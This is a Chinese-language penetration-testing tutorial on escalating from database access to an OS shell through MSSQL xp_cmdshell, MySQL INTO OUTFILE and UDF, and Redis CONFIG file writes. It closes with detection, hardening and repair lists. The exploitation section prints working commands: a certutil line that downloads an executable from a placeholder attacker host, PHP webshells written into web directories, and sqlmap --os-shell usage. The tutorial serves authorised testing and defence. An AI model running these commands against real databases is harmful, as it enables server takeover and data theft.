内网渗透:数据库提权实战(MSSQL / MySQL / Redis)

MSSQL xp_cmdshell、MySQL INTO OUTFILE/UDF、Redis 写文件三类数据库提权实战,原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

数据库提权测试只允许在授权靶场或授权数据库进行。对真实数据库写入 shell、执行命令可能触犯法律。

一、漏洞原理

拿到数据库高权限后,利用数据库自身的“执行能力”突破到操作系统。

三种典型:

1
2
3
MSSQL:xp_cmdshell 扩展存储过程直接执行系统命令
MySQL:有 FILE 权限 → INTO OUTFILE 写 WebShell / UDF 提权
Redis:未授权 → CONFIG 写 crontab/SSH Key/WebShell

共同点:数据库服务以较高权限运行,且具备读写文件或执行命令的能力

二、影响与危害

1
2
3
数据库服务器 Getshell
横向移动、数据全部泄露
权限提升到系统/root

风险等级:高到严重。

三、利用 / 复现

MSSQL:xp_cmdshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
-- 1. 开启高级选项与 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- 解释:xp_cmdshell 默认关闭,先开高级选项才能再开它
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 2. 执行命令
EXEC xp_cmdshell 'whoami';
-- 解释:whoami 确认执行身份(MSSQL 常以 SYSTEM 运行)

-- 3. 提权/上线
EXEC xp_cmdshell 'certutil -urlcache -split -f http://攻击机/x.exe C:\x.exe';
-- 解释:用系统自带 certutil 下载文件,免额外工具
1
2
3
4
5
6
数据库提权操作步骤:
第 1 步:确认数据库版本/权限/账号
第 2 步:MSSQL 则开启 xp_cmdshell 执行命令
第 3 步:MySQL 有 FILE 权限则写 WebShell 或 UDF
第 4 步:Redis 未授权则写 crontab/SSH Key/WebShell
第 5 步:验证权限并继续内网渗透

常用连接方式:

1
2
impacket-mssqlclient sa:'Pass@123'@目标IP -windows-auth
sqlmap --os-shell   # 探测到 SQL 注入时可直接拿 shell

注意:MSSQL 服务默认以 SYSTEM/高权限运行,whoami 往往直接是 nt authority\system

MySQL:INTO OUTFILE 写 WebShell

1
2
3
4
5
6
7
8
9
-- 1. 确认 FILE 权限与 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv';  -- 为空才能写任意目录
-- 解释:secure_file_priv 非空时禁止导出,需先确认
SELECT @@global.secure_file_priv;

-- 2. 写 WebShell(需要知道 web 路径)
SELECT '<?php system($_GET["c"]);?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 解释:把一句话写入 Web 目录,访问即执行

若 secure_file_priv 非空,则不能写,需换 UDF。

MySQL:UDF 提权

1
2
3
把 lib_mysqludf_sys.so 放进 plugin 目录
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('id');

前提:MySQL 有 FILE 权限 + plugin 目录可写。

Redis:写文件 Getshell

1
2
3
4
5
见《漏洞联动:SSRF 打内网 Redis 未授权 Getshell》
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

四、检测

1
2
3
4
数据库弱口令/未授权(sa 空口令、root 空口令、Redis 无密码)
MSSQL 日志中 xp_cmdshell 相关事件
Web 目录出现非业务文件(shell.php 等)
数据库执行了非业务 SQL(OUTFILE、CONFIG SET)

五、防御

1
2
3
4
数据库账号最小权限,禁止 sa/root 直接用于应用
关闭 xp_cmdshell、禁用危险函数
secure_file_priv 设为不可写目录
Redis 加认证、绑内网、禁危险命令

六、修复

1
2
3
4
5
重置数据库弱口令,收敛权限
关闭 xp_cmdshell、限制 OUTFILE/UDF
清理已写入的 WebShell/crontab/SSH Key
网络隔离数据库,不暴露公网
修复后复测:高危操作被拒

七、小结

数据库是内网提权的高价值目标:sa/root/空密码 + 执行能力 = 直接 GetShell。测试时先看数据库账号权限和配置,再决定走 xp_cmdshell、OUTFILE 还是 UDF。